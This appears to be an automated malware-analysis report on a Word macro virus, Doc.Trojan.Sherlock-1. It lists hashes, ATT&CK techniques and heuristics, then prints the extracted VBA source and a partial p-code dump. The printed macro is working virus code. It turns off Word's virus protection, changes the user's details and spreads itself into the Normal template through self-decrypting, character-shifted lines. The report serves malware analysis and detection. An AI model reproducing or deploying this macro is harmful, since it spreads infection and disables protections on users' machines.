Doc.Trojan.Sherlock-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 054c31c4a4402505…

MALICIOUS

Office (OLE)

32.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: eb603d67e37545f1f9ea29860300c056 SHA-1: c858006d40aa897b2664071a11c7fe1bb97f08a3 SHA-256: 054c31c4a4402505c0bea35b901a5c3258506ad958aa09970451b8ff3e9c0794
180 Risk Score

Malware Insights

Doc.Trojan.Sherlock-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious documents. The macro attempts to obfuscate its code and contains references to 'Sherl0ck', suggesting a connection to the Sherlock malware family. The presence of the Document_Open macro and the detection by ClamAV as 'Doc.Trojan.Sherlock-1' strongly indicate malicious intent.

Heuristics 3

  • ClamAV: Doc.Trojan.Sherlock-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Sherlock-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11323 bytes
SHA-256: f1cd17dff2030217d564faf48328f32989173cd5011e3e2e5213daad4beb5c22
Detection
ClamAV: Doc.Trojan.Sherlock-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const BOK = "Sherl0ck on the move"
'Unread
Private Sub document_open()
  Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
  Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
  Set Thi = ThisDocument.VBProject.VBComponents(1).CodeModule
  ADi = AD.Find(BOK, 1, 1, 100, 100)
  NTi = NT.Find(BOK, 1, 1, 100, 100)
  
  If (ADi = True And NTi = True) Then
    GoTo finish
  End If
  If Thi.lines(2, 1) = "'Unread" Then
    Call dekrip
  ElseIf Thi.lines(2, 1) = "'Read" Then
    GoTo finish
  End If
Application.Caption = "sherl0ck on the move"


finish:
End Sub


Private Sub document_close()
On Error GoTo finish
  Options.VirusProtection = False
  Options.SaveNormalPrompt = False
  Application.UserName = "sherl0ck"
  Application.UserAddress = "xxxx96@student.te.ugm.ac.id"
  Application.UserInitials = "Bad"
  Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
  Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
  Set Thi = ThisDocument.VBProject.VBComponents(1).CodeModule
  ADi = AD.Find(BOK, 1, 1, 100, 100)
  NTi = NT.Find(BOK, 1, 1, 100, 100)
  
  If (ADi = True And NTi = True) Then
    GoTo finish
  End If
  If Thi.lines(2, 1) = "'Read" Then
    Call enkrip
  ElseIf Thi.lines(2, 1) = "'Unread" Then
    GoTo finish
  End If
',,
',,Ur,4MPu,I,`~�q,Mzp,Z`u,I,Rmx q5,`tqz
',,,, m‚u€,I,Z{~ymx`qy|xm€q:_m‚qp
',,,,Z`:pqxq€qxuzq ,=8,Z`:O{�z€{rxuzq 
',,,,o{ppq,I,`tu:xuzq 4=8,`tu:O{�z€{rxuzq 5
',,,,Z`:mppr~{y €~uzs,o{ppq
',,,,^qy,Ur, m‚u€,`tqz,Z{~ymx`qy|xm€q:_m‚q
',,Qx qUr,4MPu,I,Rmx q,Mzp,Z`u,I,`~�q5,`tqz
',,,, m‚u€,I,Mo€u‚qP{o�yqz€:_m‚qp
',,,,MP:pqxq€qxuzq ,=8,MP:O{�z€{rxuzq 
',,,,o{ppq,I,`tu:xuzq 4=8,`tu:O{�z€{rxuzq 5
',,,,,MP:mppr~{y €~uzs,o{ppq
',,,,Ur, m‚u€,`tqz,Mo€u‚qP{o�yqz€:_m‚q
',,Qzp,Ur
  
ActiveDocument.Save
finish:
ActiveDocument.Save

End Sub

Private Sub enkrip()
Dim test1 As String
   
    'JumLine = ThisDocument.VBProject.VBComponents(1).CodeModule.Countoflines
    For i = 46 To 59
        test1 = "'"
        Line = ThisDocument.VBProject.VBComponents(1).CodeModule.lines(i, 1)
        panbar = Len(Line)
        For t = 1 To panbar
            Kar = Mid$(Line, t, 1)
            test1 = test1 + (Chr(Asc(Kar) + 12))
        Next
    ThisDocument.VBProject.VBComponents(1).CodeModule.ReplaceLine i, test1
    test1 = "'"
    Next
    ThisDocument.VBProject.VBComponents(1).CodeModule.ReplaceLine 2, "'Unread"
End Sub

Private Sub dekrip()
Dim test1 As String
    
    'JumLine = ActiveDocument.VBProject.VBComponents(1).CodeModule.Countoflines
    For i = 46 To 59
        test1 = ""
        Line = ThisDocument.VBProject.VBComponents(1).CodeModule.lines(i, 1)
        panbar = Len(Line)
        For t = 2 To panbar
            Kar = Mid$(Line, t, 1)
            test1 = test1 + (Chr(Asc(Kar) - 12))
        Next
    ThisDocument.VBProject.VBComponents(1).CodeModule.ReplaceLine i, test1
    test1 = ""
    Next
    ThisDocument.VBProject.VBComponents(1).CodeModule.ReplaceLine 2, "'Read"
End Sub

' Processing file: /opt/analyzer/scan_staging/102cee4f568a40e4986887c345878b20.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6058 bytes
' Line #0:
' 	Dim (Const) 
' 	LitStr 0x0014 "Sherl0ck on the move"
' 	VarDefn BOK
' Line #1:
' 	QuoteRem 0x0000 0x0006 "Unread"
' Line #2:
' 	FuncDefn (Private Sub document_open())
' Line #3:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set AD 
' Line #4:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set NT 
' Line #5:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ThisDocument 
' 	MemLd VBProj
... (truncated)